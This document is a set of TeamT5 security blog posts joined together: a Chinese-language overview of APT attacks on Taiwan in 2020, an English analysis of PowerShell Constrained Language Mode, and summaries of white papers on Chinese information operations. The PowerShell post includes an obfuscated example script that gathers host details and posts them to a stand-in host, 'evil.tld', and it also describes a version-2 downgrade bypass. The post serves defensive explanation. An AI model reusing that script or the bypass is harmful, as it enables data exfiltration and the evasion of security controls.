> Contact us: <sales@teamt5.org>

 

### Reference

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

APT Threat Landscape of Taiwan in 2020

**By TeamT5 杜浦數位安全 技術長 李庭閣 Charles Li**

2020 年被公認為充滿混亂與災禍的一年。各式各樣的大事件諸如新冠肺炎、中亞東歐台海等地的地緣政治衝突、英國脫歐、美國總統大選都將世界各地的人們帶向跟過去截然不同的生活。TeamT5 在過去一年中持續幫助受到國家力量支持的針對性攻擊行動（或稱 APT 攻擊）所受害的單位。同時間 TeamT5 的威脅情資團隊也主動追蹤 APT 攻擊者的各類行蹤。跟真實世界相比較，網路世界的混亂情況並不亞於我們於現實世界所見，同時網路世界的衝突有很大一部份是真實世界的映射或延伸。本篇文章將探討 TeamT5 在 2020 年所觀察到的台灣威脅態勢。

在本篇文章中，我們首先會為您介紹我們在 2020 年所觀察到的重大趨勢，包含了：

- APT 攻擊的演進，網路間諜不再是唯一的攻擊手段
- 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一
- 由新冠肺炎所引發的網路攻擊

接著我們會針對所觀察到的攻擊行動進行分析，試圖以產業別以及攻擊族群視角來進行網路威脅情資的剖析。文章的最後則是我們對如何應對網路攻擊不斷變化的建議作為總結。

 

## 網路間諜不再是唯一的攻擊手段

2020 年所公開的網路攻擊中，影響最深遠的當數中國 APT 攻擊者於五月時針對多個能源產業公司所進行的勒索軟體攻擊 [1]。TeamT5 研究顯示，這是一個來自中國惡名昭彰的 APT 攻擊族群，規畫已久的攻擊行動。這個行動究竟是攻擊者單純以獲取金錢為目的所發起的勒索行動，抑或是以勒索軟體為掩護的政治嚇阻行動（時值 520 台灣總統上任前），背後的答案依舊成謎。無論如何，本次的攻擊行為已為中國對台 APT 攻擊行動劃下新的里程碑：中國 APT 已針對台灣進行二十年以上的攻擊，但行動範圍都維持在竊取機密為目的而進行的網路間諜行動，這次攻擊意味著攻擊者將開始採用更多元的戰術來對台灣進行網路打擊行動。

另一個發生在 PTT BBS 論壇上的攻擊行動可以佐證我們的臆測：在 2020 年七月，TeamT5 追蹤了一連串的 BBS 爆料貼文，試圖詆毀台灣政府與軍方的形象，攻擊者使用了多個境外跳板 IP 位址來試圖隱藏他們的來源，然而 TeamT5 的情資資料庫顯示，其中一個來源 IP 曾被某個鎖定台灣已久的 APT 攻擊族群所使用；無獨有偶，我們也獲得某訊息來源指出，該 APT 族群正是隱身在此次行動背後的攻擊者。我們相信這兩個事件正是一個警訊，告訴我們中國 APT 族群正在嘗試各種過去沒使用過的手法來做更多樣性的攻擊行動。

 

## 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一

TeamT5 曾在過去示警過供應鏈攻擊手法的危險性 [2]，研究顯示它在 2020 年已經成為 APT 攻擊的一種主要入侵手法之一：2020 年十二月被揭露的 SolarWinds/SUNBURST 攻擊行動無疑是當前最成功的案例之一，受害目標包含了許多美國高層政府部門，全球前五百大公司，甚至數個資安廠商本身也在本次攻擊中被攻擊者攻陷，它的手法精細而行動縝密，以致於目前仍無法掌握整個攻擊全貌。在台灣，TeamT5 也觀察到至少三波的攻擊行動使用了類似的手法：攻擊者先針對服務供應商進行滲透，再進一步利用供應商的產品或服務當跳板來直接進入終端用戶，包含政府部門或其他各產業的公司。前兩波的攻擊行動已於八月間被法務部調查局所公開揭露 [3]，而第三波攻擊行動仍在調查中。我們目前已觀察到數十家甚至上百的台灣公私單位被這些行動所成功滲透，而且至少有三個來自中國的 APT 族群參與其中。

 

## 由新冠肺炎所引發的網路攻擊

第三個攻擊趨勢則為新冠肺炎所趨使的網路攻擊行動。隨著新冠肺炎疫情爆發數週內，TeamT5 就觀察到有國家支持的網路攻擊者開始疫情相關的情報蒐集；隨著時序進入下半年，攻擊者的目標開始轉向疫苗發展資訊的蒐集，可以看出網路攻擊行動隨著現實世界改變的趨勢。在台灣，TeamT5 也分析了數個以新冠疫情為主題所進行的攻擊行動，甚至有數波針對醫療相關部門的針對性攻擊行動。我們相信只要疫情尚未消散的一天，相關的攻擊行動就會持續進行。

TeamT5 威脅情資團隊在 2020 年分析了近百個來自中國的 APT 攻擊。統計結果顯示，政府和軍方部門仍為最大的攻擊目標，相對應的攻擊事件超過了總數的四分之一，幾乎每個在台灣地區有活動的 APT 族群都會嘗試攻擊相關部門，主要的原因在於 APT 的主要目標是獲取國家相關的機密情資。值得注意的是，針對資訊產業的攻擊在 2020 年躍升為第二大，顯示 APT 攻擊對資訊公司的高度興趣，主要的原因應與前述的供應鏈攻擊趨勢有關：這些資訊產業公司往往同時服務許多客戶並橫跨不同部門產業，攻陷這些資訊公司提供攻擊者一個絕佳的跳板來進一步滲透終端客戶。

能源產業是 2020 年被針對的第三大產業，TeamT5 觀察到至少有五個族群針對能源產業鏈中的多個部門進行滲透，我們認為這是一個徵兆，顯示敵人試圖控制台灣關鍵基礎設施的野心，因為這些部門在戰爭時期將會成為優先被癱瘓的目標。教育和智庫單位長久以來也名列 APT 攻擊目標排行榜中，相對應的攻擊數量在 2020 年位居第四名，主要的原因在於這些單位中的研究人員往往參與了政府的研究計畫或是政策制定。半導體產業是我們觀察到第五大被針對的目標，由於中國官方將半導體明定為十三五和十四五計畫中重點扶植的產業，這些攻擊應為有計劃性的網路間諜活動，目的在於竊取台灣相關的智慧財權或產業機密。醫療和運輸產業也是兩個在 2020 年被中國 APT 重點性針對的目標產業，如同前述，我們相信新冠肺炎可能是一個趨使攻擊者針對醫療產業的主要因素；交通相關產業部份，TeamT5 觀察到一個值得注意的現象：有一個我們稱為 GouShe（亦稱為 TroppicTropper、Keyboy）的 APT 族群特別針對台灣的交通運輸相關部門進行滲透，2020 年間的相關攻擊事件有七成以上均來自該族群。

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 年 APT 攻擊目標產業分佈_

 

TeamT5 於 2020 年間共追蹤了至少九個 APT 族群的攻擊行動，當中有八個是來自中國。HUAPI（亦稱為 BlackTech、PLEAD）是所有族群中最具野心的一群，他們的攻擊行動佔了我們所觀察到總數近三成，而且攻擊目標幾乎涵蓋了上述的所有產業。我們在前面所提到的台灣供應鏈攻擊行動他們也都有參與。APT27（亦稱 EmissaryPanda、IronTiger、LuckyMouse、BronzeUnion）、GouShe 和 AMOEBA（亦稱 APT41、Barium、Winnti）也是在 2020 年攻擊台灣的數個主要攻擊來源族群：據 TeamT5 研究，APT27 主要攻擊政府、醫療和金融相關單位和產業。GouShe 近一、兩年的攻擊行動，展現了針對交通運輸部門和產業的高度興趣，同時我們也在能源和政府單位觀察到他們的蹤跡，TeamT5 針對此族群追蹤了近十年，研究結果顯示該族群可能接受所屬單位指令來監控台灣的關鍵基礎設施，並可能在關鍵時刻針對這些單位進行控制和接管。

AMOEBA 在過去一年間主要攻擊目標包含了能源、半導體產業，教育智庫單位和資訊產業，從攻擊目標推斷，他們的主要目的偏向於智財和產業機密竊取，但我們不排除攻擊者會嘗試利用攻擊獲取成果進行二次利用，如同他們在五月間所進行的勒索攻擊行動一樣。SLIME1、SLIME9、SLIME13 是 TeamT5 對三個中國 APT 攻擊行動的暫時行動代稱，我們在近幾年都有持續觀察到他們的行動。Polaris（亦稱 MustangPanda）則是一個針對幾乎中國鄰近國家的 APT 族群，我們在三、四月間發現有多個來自他們的釣魚信件針對台灣政府和研究單位進行攻擊，我們推測他們試圖蒐集新冠肺炎相關疫情資訊。最後，我們在台灣也有發現一個由北韓 APT 族群 Lazarus 所使用的 Linux 後門工具，但沒有進一步資訊可以確認受害者身份資訊，雖然台灣在政治上並非北韓 APT 的主要攻擊目標，但由於 Lazarus 族群被公認肩負為北韓政府籌措財源的責任，舉例來說，2017 年發生在台灣銀行的 SWIFT 系統攻擊事件就是由 Lazarus 所為，此樣本也許是一個顯示 Lazarus 仍持續在台灣地區有活動跡象的警訊。

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_2020 年間攻擊台灣的 APT 族群_

 

## 結語

TeamT5 相信認識敵人是有效對抗針對性攻擊的第一步，而本文章主要針對 2020 年間所觀察到的 APT 網路攻擊態勢，提供一個概觀說明。TeamT5 威脅情資研究顯示 APT 攻擊手法持續進化，真正高端複雜的行動已經不可能由單一個資安產品做有效的防護。TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 是一個以網路威脅情資為核心概念的防護方案，同時我們有一群專業的專家分析師持續做研究來讓我們持續領先於攻擊者的腳步。

> 如果您希望進一步了解我們的資安產品、解決方案或是想跟我們討論您所面臨的網路威脅，我們誠摯歡迎您與我們聯絡：<sales@teamt5.org>

 

### 參考資料

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

2020 年台灣 APT 網路攻擊態勢

## What is Constrained Language Mode and Why it Matters

When PowerShell was [first announced in 2006](https://betanews.com/2006/11/14/windows-powershell-1-0-released/), it was meant to be a flexible command-line shell that features an easy-to-understand yet advanced scripting engine for IT admins. Fast forward to (almost) a decade and a half later, PowerShell has caught up in popularity and has superseded the now-legacy `cmd.exe` in current Windows 10 releases.

However, PowerShell has also been weaponized heavily over the past decade. There is an abundance of PowerShell-based samples all over public sandboxes, and [APTs are known to abuse it whenever possible](https://attack.mitre.org/techniques/T1059/001/). The advanced scripting engine is often utilized to launch fileless/in-memory attacks or [use it as a way around AMSI](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/). In this post, we will be focusing on a lesser-known feature that can be used to combat this threat: Language Mode.

PowerShell was launched with an option to change its ["Language Mode"](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2). This Language Mode option allows the user to switch between syntaxes allowed or disallowed. By default, all PowerShell sessions are launched with `FullLanguage`, which permits all the available syntaxes and cmdlets at runtime. There are four total language modes available: `FullLanguage`, `RestrictedLanguage`, `NoLanguage` and finally `ConstrainedLanguage`. In today's topic, we are here to focus on the `ConstrainedLanguage` mode introduced in PowerShell 3.0.

 

### Safer PowerShell Environment

First off, let's take a look at what Microsoft Docs says about the `ConstrainedLanguage` mode:

> - All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
> - All elements of the PowerShell scripting language are permitted.
> - All modules included in Windows can be imported and all commands that the modules export run in the session.
> - In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
> - The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
> - Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:
> - Scripting.Dictionary
> - Scripting.FileSystemObject
> - VBScript.RegExp

 

#### No Arbitrary C# Code via Add-Type

> The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Many PowerShell-based exploits rely on .NET-based language compilation via `Add-Type` - and that's already thrown out the window by disallowing arbitrary C# code compilation.

![202101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_1_38111256c4.png)

 

#### Non-whitelisted Types are Prohibited

> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

In laymen's terms, every non-whitelisted type and its methods/properties are blocked from execution. Classes such as `System.Reflection.Assembly`/`System.Convert`/`System.Runtime.CompilerServices` and many more are out-of-reach for threat actors, making code injection or fileless attacks that rely on additional PEs much more difficult.

![202101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_2_ec73ef8561.png)

 

### Prohibit Complex Scripts from Executing

Given the above limitations, this does mean that legitimate complex scripts may not be able to execute correctly. For instance, if your organization uses a script that utilizes WinForm or WPF (Windows Presentation Framework), those will not work at all.

![202101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_3_80ad190a95.png)

Consequentially, modules are affected by this whitelisting system as well. Modules that rely on created types or non-whitelisted type calls will not load properly.

![202101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_4_aa876d7833.png)

Therefore, it is crucial to **double-check your organization's scripts** (if you have any) *before* enrolling this policy to your endpoints.

 

### Require Explicit Feature Enrollment

Since, by default, this language mode is an opt-in feature, the user would either have to call `$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"` at the beginning of each session or add `__PSLockdownPolicy` to the system environment variables (**DO NOT** do this for production. [See the section below](#beware-of-pslockdownpolicy). Neither of which is ideal and should only be used for debugging, unit testing, or for general testing purposes only.

Instead, the administrator(s) of your organization should deploy via WDAC (Windows Defender Application Control) on Windows 10+ *or* via AppLocker on Windows 7+. When implemented this way, the attacker will first have to bypass WDAC or AppLocker before gaining full control of a standard PowerShell session. A guideline regarding the deployment for individual or mass number of endpoints can be found under the [Application Control for Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control) article on Microsoft Docs.

 

### Effective Against Scripts, not Standard Cmdlets

It must be made clear that merely enabling Constrained Language Mode is not enough to mitigate the risks PowerShell can bring. While restricting users to a lower-privileged language mode ensures no custom .NET assemblies or code can be executed, this does not stop attackers from crafting malicious scripts from the built-in cmdlets alone. For example, an attacker may still be able to craft a script that collects relevant intel about the computer and send it back to their C2 station.

The following, as an example, will continue to run fine under a PowerShell session with Constrained Language mode enabled.

```ps1
Start-Job -ScriptBlock {
 while($true){
 # MAC address collection
 .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
 # OSs + username collection
 .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
 # WAN IP collection
 &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
 # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
 .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
 ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
 # Compresses the file
 &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
 # Sends it back to the C2 station
 &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
 &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
 }
}
```

Additionally, attackers may still be able to call external resources to achieve their goal, such as achieving persistence via `schtask` or placing additional payloads under `shell:startup`. Remember, Constrained Language mode does **NOT** block most existing cmdlets from functioning; in other words, it limits what the threat actor has on their disposal, but does not mean that they cannot make do with vanilla cmdlets or standard Windows applications.

 

#### Beware of `__PSLockdownPolicy`

Aside from weaponizing existing cmdlets, if the admins had "enabled" the language feature via `__PSLockdownPolicy`, then it would be trivial for attackers with administrative privileges to restore the language policy. Let's take a look at what this environment variable actually does.

![202101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_5_707aff90b6.png)

We'll see that it has brought us to the `SystemPolicy` class under the `wldpNativeMethods.cs` file. In various articles that reference this environment variable, they would instruct the administrator to set the `__PSLockdownPolicy` variable to `4`. A value of 4 corresponds with the `WLDP_LOCKDOWN_UMCIENFORCE_FLAG` constant, which indicates the enforcement of UMCI (User-mode Code Integrity).

![202101-6.gif](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230069/202101_6_2a4f7bdb5c.gif)

The call's parent method happens to be named `GetDebugLockdownPolicy`, which indicates that this behavior was meant to be a debug feature, rather than something that should be in a production environment.

![202101-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230072/202101_7_4f3622def2.png)

This theory is further backed up by the statement made by [Matt Graeber](https://twitter.com/mattifestation/status/921509830644269062), a renowned security researcher well-versed in WDAC. Further research also shows this behavior was mentioned by the PowerShell team in its [official post regarding Constrained Language Mode as well](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/):

> As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called `__PSLockdownPolicy`. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

It must be emphasized that administrators should **NOT** deploy this to their endpoints as a way to enable Constrained Language mode - and be extra mindful when reading through articles regarding security features.

 

### Compatibility with Legacy OSs

Another thing to consider before rolling this feature out to endpoints is legacy OSs. As mentioned at the beginning of this post, Constrained Language mode is only available on PowerShell 3.0 onwards - and Windows 7 ships with PowerShell 2.0 by default.

![202101-8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230074/202101_8_6103f884e7.png)

While it is possible to install WMF 5.1 on older systems such as Windows 7, these systems likely ship with PowerShell 2.0 as its core component as well, which is susceptible to *downgrade attacks*.

All the attacker needs to do is, instead of starting a standard PowerShell 5.1 session, spawn a PowerShell 2.0 session using `PowerShell.exe -Version 2`. Since `ConstrainedLanguage` mode doesn't exist in that version, it will simply fallback to using `FullLanguage`.

![202101-9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230075/202101_9_7d51c2552d.png)

This is much less of a problem on Windows 10, as PowerShell 5.1 is shipped with the system by default and 2.0 can be removed by using `Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root`. After then, any attempts to launch PowerShell v2 will result in an error message.

```text
PS C:\> powershell -v 2
Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
```

 

## Hypothetical Testing

To see how effective this mode is against hypothetical attacks, we ...

- gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.
 - These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't `*.ps1` scripts) in any way.
- executed the scripts via `ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}`.
- ran these samples on a system with `ConstrainedLanguage` mode enabled.
- ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.
 - Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

![202101-10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230077/202101_10_0e10676b7f.png)

 

In our testing,

- `ConstrainedLanguage` blocked ...
 - 100% (141/141) of the samples from executing properly.
 - ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
 - 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
 - 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
 - 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
 - 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
- `ConstrainedLanguage` failed to block ...
 - 0.7% (1/141) of the samples that had managed to create persistence entries.

 

## Conclusion

Since PowerShell is now [an integral part](https://support.microsoft.com/en-us/windows/powershell-is-replacing-command-prompt-fdb690cf-876c-d866-2124-21b6fb29a45f) of modern Windows OSs, sysadmins should not underestimate the risks that PowerShell can bring to the organization.

In the article, we went through the benefits and drawbacks of `ConstrainedLanguage` and how it performs in a hypothetical test. By enabling the engine feature, the risk of PowerShell-introduced exploitation is greatly lowered - if enrolled properly. Organizations should also consider whether or not the reduced availability of modules and or scripts is worth the tradeoff before enrolling this language policy.

 


*Image courtesy of [Pexels](https://www.pexels.com/)

A Deep Dive into PowerShell's Constrained Language Mode

在 TeamT5〈資訊戰白皮書〉的最後一部曲中，我們將呈現中國的資訊作戰（Information Operation）是如何瞄準全球社群媒體使用者。TeamT5 希望透過這系列白皮書，分享我們作為資安研究員，如何理解中國的社群操弄。

此份白皮書的前兩個章節，介紹中國檯面上與檯面下的行動。首先觀察中國在檯面上（overt operation）如何透過中國的官媒、大使館、外交官，在社群媒體創造自己的聲量。接著分析中國檯面下的行動（covert operation），進一步研究那些無法被輕易歸因的粉絲頁、內容農場與大量的僵屍帳號。最後一章將以 PTT 論壇上關於 Juiker 的假新聞攻擊為例，提出資訊戰當中，我們最擔心的 —— 由「進階持續性滲透威脅」（APT）發起的假新聞攻擊。

 
## 報告摘要

### 1. 中國持續透過官媒與外交官進行檯面上的社群操弄

中國的官媒、外交官、大使館是中國檯面上的主要行動者。這些行動者負責美化中國外在形象，以及散播對中國執政黨有利的論述。根據我們的觀察，這些帳號在西方社群媒體中都擁有大量的追蹤者，Facebook 粉絲頁中，追蹤數排名世界前 20 名的新聞媒體，第一名到第四名就是由中國官媒粉絲頁 CGTN、China Daily、People's Daily、Xinhua News 包辦。中國檯面上的社群操弄，主要針對位在美國、加拿大、澳洲等英語系國家的海外華人，並透過他們對當地的政治進行一定影響。
 
### 2. 檯面下的社群操弄持續在西方主流社群平台出沒

2020 年，西方主流社群平台 Facebook、Twitter、Google 等，都曾數次移除各自平台上與中國有關的假帳號。儘管平台方已如此頻繁地掃蕩，許多隱匿的行動者仍然在各大平台上出沒，那些曾遭移除的帳號背後，有行動者持續透過註冊新網域和帳號捲土重來。我們不斷觀察到許多可疑帳號，例如許多擁有中國管理員的粉絲頁，會搬運微博上的政治宣傳。更有甚者，我們發現許多配備精良的攻擊者，會自己架設網站和疑似是自動化產生的僵屍帳號，來協助中國政府攻擊香港抗爭者。
 
### 3. APT 攻擊者很可能參與了社群媒體上的資訊戰

我們擔心 APT 攻擊者很可能參與了社群媒體上的資訊戰。APT 通常是由一個國家所支持的駭客團體，以竊取機敏資料為主，APT 的攻擊者往往具備了強悍的網路攻擊手法與資源。然而，我們今年偵察到了一個可能是由 APT 攻擊者發動的假新聞攻擊。該事件發生在 2020 年七月，PTT 論壇八卦版上，開始有許多被盜用的帳號以假新聞攻擊台灣重要軍事單位，造謠台灣公務機關使用的 Juiker 通訊軟體遭駭，以及台灣重要軍事機關遭駭。我們透過搜索比對貼文與發文 IP，發現其中一個 IP 位址，符合某個中國 APT 曾經使用過的中繼站。
 
### 4. 威脅情資作為對抗資訊戰的重要環節

如同前述的分析脈絡，APT 與社群操弄的結合會讓防守方更加棘手。在棘手的防守環境中，唯有威脅情資（threat intelligence）可以提供即時的分析，評估攻擊者的攻擊手法、可疑的指標、以及造成的風險。而在快速更迭的社群媒體環境中，平台方與事實查核團體非常難找到證據，歸因大量散播的假新聞。我們認為唯有導入威脅情資，才能有效幫助政府單位、重要關鍵基礎設施與企業，對抗資訊戰。
 


若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。
 
 
追蹤 TeamT5 [Twitter](https://twitter.com/TeamT5_Official)，資安動態不漏接！

TeamT5〈資訊戰白皮書三部曲：中國的社群操弄〉

In the final part of our Information Operation White Paper, we will demonstrate China's Information Operations (InfoOps) targeting the global audience. The first part of the report displays a brief overview of its overt operations which are carried out by state media, embassies, and diplomats. Then we look into the covert operations, which can be observed in pro-China fan pages, content farms, and spam botnet. Last but not least, we provide the case study of "Operation Juiker" on Taiwan's largest forum PTT, which suggests the possibility of the APT (Advanced Persistent Threat) actors entering the threat landscape.

## Key Takeaways

### 1. China has escalated the level of overt InfoOps via state-media and diplomats.
 
 
Chinese state media, diplomats, and embassies are the main actors of Chinese overt InfoOps. They shoulder the task to polish the image of the regime and propagate the narrative of the Chinese Communist Party (CCP). It is noteworthy that their official accounts have obtained an unexpected number of followers in recent years. For instance, four Chinese state media are included in the top 20 most-followed pages on Facebook. Their main audience, apart from the Chinese citizens, are overseas Chinese diaspora, which many of them have rights to vote in countries such as the U.S., Canada, and Australia, thus having the ability to influence a country's politics.
 
 
### 2. Covert InfoOps remain active on Western social media platforms.
 
 
2020 is a year which has set many records. This year, the takedowns of covert Chinese social media accounts by Facebook, Twitter, and Google are more frequent than ever. However, even with such efforts, we observed that there are new covert actors emerging across the platforms, while the banned actors keep coming back to the scene by registering new domains and new accounts. We spotted that there is a huge number of Facebook pages with admins located in China dedicated to disseminating Chinese propaganda content originated from Chinese social media platform, Weibo. Besides, there are sophisticated actors that create websites and subtle content to help the Chinese government shaping the narrative for the Hong Kong protest. We also detected numerous networks of pro-China political accounts that demonstrated strong signs of automated behavior.
 
 
### 3. APT actors might have entered the InfoOps threat landscape.
 
 
The situation is become more alarming as we discovered that the Advanced Persistent Threat (APT) actors might have entered the InfoOps threat landscape. APT actors, typically a state-sponsored group, usually conduct prolonged and targeted cyberattacks to mine highly sensitive data. However, in mid-2020, we identified an InfoOp that can be linked to a notorious Chinese APT group which TeamT5 intelligence team has tracked for years. We discovered that the threat actors had disseminated disinformation about "Juiker," a messaging app developed by Taiwan's research institute and widely used by government units, on Taiwan's largest forum PTT. The operation, which we dub as "Operation Juiker," aimed to discredit Taiwan's intelligence agency and government-backed research institute by spreading disinformation of the messaging app being hacked.
 
 
### 4. It is more crucial than ever to adopt threat intelligence solutions to combat the issue.
 
 
The abovementioned Operation Juiker has well demonstrated the possibility of "APT + InfoOp" attack model, which involves targeted social media campaigns disseminating disinformation based on highly confidential data. Such situation is super tricky, and it could pose a great threat to democratic countries. In this case, threat intelligence can help provide instant analysis of actor methodologies, suspicious indicators, and potential risks. We suggest that it is crucial for government units, critical infrastructure operators, and major business vendors to apply threat intelligence to combat this issue.
 
 

If you are interested in this white paper, please fill out the form below and get the full-text PDF.
 
 
And don't miss our blog updates! Follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper III: China’s Social Manipulation outside the Great Firewall

インフォメーション オペレーション

Information Operation

面對中國日趨積極、強烈的資訊操弄（Social Manipulation），TeamT5情資團隊以資訊安全研究員的視角，推出最新的〈資訊戰白皮書二部曲〉（Information Operation White Paper），進一步分析中國在「防火長城」（Great Firewall）內，如何透過社群媒體進行數位政治宣傳（Digital Propaganda）。

除了廣為人知的言論審查制度，中國在防火長城內的資訊操弄，更包含主動的數位政治宣傳。從2019年香港反送中抗爭事件，到2020年的新冠肺炎疫情，我們可以清楚看到中國越來越「爐火純青」的數位政治宣傳實力。防火長城內對社群媒體的操控，神秘、難以探知，中國更設法將牆內轉化成中國共產黨的「一言堂」，阻止了理性政治討論的可能性。

在〈資訊戰白皮書二部曲〉中，我們聚焦於：

1.	近年來，中國藉由大量的網路相關立法與集中整併政府資源，強化網路控制。而控制公眾言論的數位政治宣傳，就是中國網路治理的「最後一哩路」。

2.	我們認為中國的數位政治宣傳機制，依循著一個極為有效的「配方」（Digital Propaganda Formula），由四個要素組成：官方媒體、共青團、政務新媒體，以及中國的水軍大隊。

3.	在中國政府資源帶領下，「輿情引導產業」興起，提供人工智慧與大數據工具，替政府收集、儲存、進而分析網路民意。

4.	我們認為，中國藉著其政治宣傳配方來穩定牆內的網路生態，而下一步，就是要將自身在西方社群媒體的影響力，擴張到國外，競逐世界話語權。

在疫情之後，網路世界成為新常態（new normal）不可或缺的一部分。但於此同時，也讓網路威脅，不論是傳統駭客行動者或是社群媒體操弄者（influence operators），有更多機會發動攻擊。TeamT5情資團隊致力於傳遞有用的情資與協助決策的分析報告，希望對提升網路安全盡一份心力。

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。

 

**下期預告**

在接下來的〈資訊戰白皮書三部曲〉中，我們將討論中國對外的政治宣傳，看中國政治宣傳機器的現況與其影響，以及中國在西方社群媒體平台上的資訊作戰。

不想錯過我們接下來發布的報告，請追蹤我們的 [Twitter](https://twitter.com/TeamT5_Official)。

